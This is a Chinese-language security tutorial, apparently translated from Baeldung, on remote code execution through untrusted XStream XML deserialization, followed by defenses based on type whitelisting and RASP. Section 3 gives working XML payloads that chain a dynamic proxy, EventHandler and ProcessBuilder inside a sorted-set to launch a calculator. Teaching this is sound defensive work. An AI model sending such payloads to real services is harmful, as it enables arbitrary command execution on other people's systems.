1. 概述

本文将深入剖析针对 XStream XML 序列化库的 远程代码执行(Remote Code Execution, RCE) 攻击。这类攻击属于典型的 不可信反序列化 类型。

我们将了解:

  • XStream 在什么情况下会受到此类攻击影响
  • 攻击是如何构造并执行的
  • 如何防范这类攻击

通过本文,你将掌握 XStream 的反序列化机制和潜在的安全风险,避免在实际项目中踩坑。


2. XStream 基础知识

XStream 是一个用于将 Java 对象与 XML 之间进行序列化/反序列化的开源库。它通过 Java 反射机制来实现对象与 XML 的相互转换。

例如,我们定义一个简单的 Person 类:

public class Person {
    private String first;
    private String last;

    // 标准 getter/setter
}

使用 XStream 将对象序列化为 XML:

XStream xstream = new XStream();
String xml = xstream.toXML(person);

也可以将 XML 反序列化为对象:

XStream xstream = new XStream();
xstream.alias("person", Person.class);
String xml = "<person><first>John</first><last>Smith</last></person>";
Person person = (Person) xstream.fromXML(xml);

关键点:
XStream 在反序列化 XML 时,会根据 XML 中的标签名决定要实例化的 Java 类型。如果攻击者可以控制 XML 内容,就可能触发恶意类的加载和执行。


3. 攻击原理详解

3.1. 攻击目标

攻击者希望在目标系统上执行任意命令,比如启动计算器程序:

  • macOS:/Applications/Calculator.app
  • Windows:calc.exe

通常我们会这样启动一个进程:

new ProcessBuilder().command("calc.exe").start();

但 XStream 在反序列化过程中,只会调用构造函数和设置字段,无法直接调用 start() 方法。这就需要攻击者通过巧妙的类组合来实现。

3.2. 使用 Comparable 动态代理触发方法调用

攻击者利用 Java 的动态代理机制创建一个实现了 Comparable 接口的代理对象,并结合 java.beans.EventHandler 实现方法调用。

最终构造出如下 XML:

<dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
                <string>open</string>
                <string>/Applications/Calculator.app</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

这个 XML 在反序列化时会被 XStream 解析为一个 Comparable 的代理对象,其 compareTo() 方法最终会调用 ProcessBuilder.start()

3.3. 利用 TreeSet 强制调用 compareTo

为了触发代理对象的 compareTo() 方法,攻击者使用 TreeSet 的构造函数:

new TreeSet<>(Collection<? extends E> c)

该构造函数会遍历集合中的元素并调用它们的 compareTo() 方法。因此,构造如下 XML:

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>open</string>
                    <string>/Applications/Calculator.app</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

当 XStream 解析这段 XML 时,会创建一个包含字符串和代理对象的 TreeSet,从而触发 compareTo() 方法调用,最终执行攻击代码。

3.4. 攻击流程总结

  1. XStream 解析 XML,创建 TreeSet 并传入一个集合
  2. 构造函数调用集合中元素的 compareTo() 方法
  3. 代理对象的 compareTo() 被调用,通过 EventHandler 触发 ProcessBuilder.start()
  4. 攻击命令被执行

⚠️ 注意: 攻击成功的关键是 XStream 会根据 XML 标签动态加载类并执行其方法。


4. XStream 的攻击面分析

XStream 是否存在远程代码执行漏洞,取决于是否允许攻击者控制 XML 输入。

✅ 安全场景

  • 应用仅使用 XStream 解析可信的 XML(如本地配置文件)
  • 管理员维护的 XML,攻击者无法修改内容

❌ 危险场景

  • 应用通过 REST API 接收 XML 输入并使用 XStream 解析
  • 用户上传 XML 文件并由 XStream 处理
  • 第三方系统发送 XML 数据并由 XStream 反序列化

在这些场景下,攻击者可以构造恶意 XML,诱导 XStream 执行任意代码。


5. 防御手段

5.1. 使用 XStream 的安全机制(推荐)

XStream 自 1.4.7 版本起引入了安全框架,允许配置允许反序列化的类型白名单:

XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypes(new Class<?>[] { Person.class });

这样可以禁止 XStream 加载除白名单外的类,有效防止恶意类加载。

5.2. 使用 RASP 技术增强防护(可选)

Runtime Application Self-Protection(RASP)是一种运行时防护技术,通过字节码插桩实时检测并阻断攻击行为。

RASP 可以自动识别并阻止类似 XStream 反序列化攻击,相比手动维护白名单更安全可靠。


6. 总结

本文详细介绍了 XStream 的远程代码执行攻击原理,包括:

  • XStream 的反序列化机制
  • 攻击者如何通过 XML 控制类加载并执行任意代码
  • 实际攻击场景与防御手段

核心结论:

  • XStream 在处理不可信 XML 输入时存在 RCE 风险
  • 必须使用安全框架限制允许反序列化的类型
  • 对于高安全要求的系统,建议引入 RASP 等运行时防护机制

如果你在项目中使用了 XStream,请务必检查是否启用了安全策略,否则可能成为攻击入口。


示例代码地址:
GitHub - XStream RCE 示例


原始标题:Remote Code Execution with XStream | Baeldung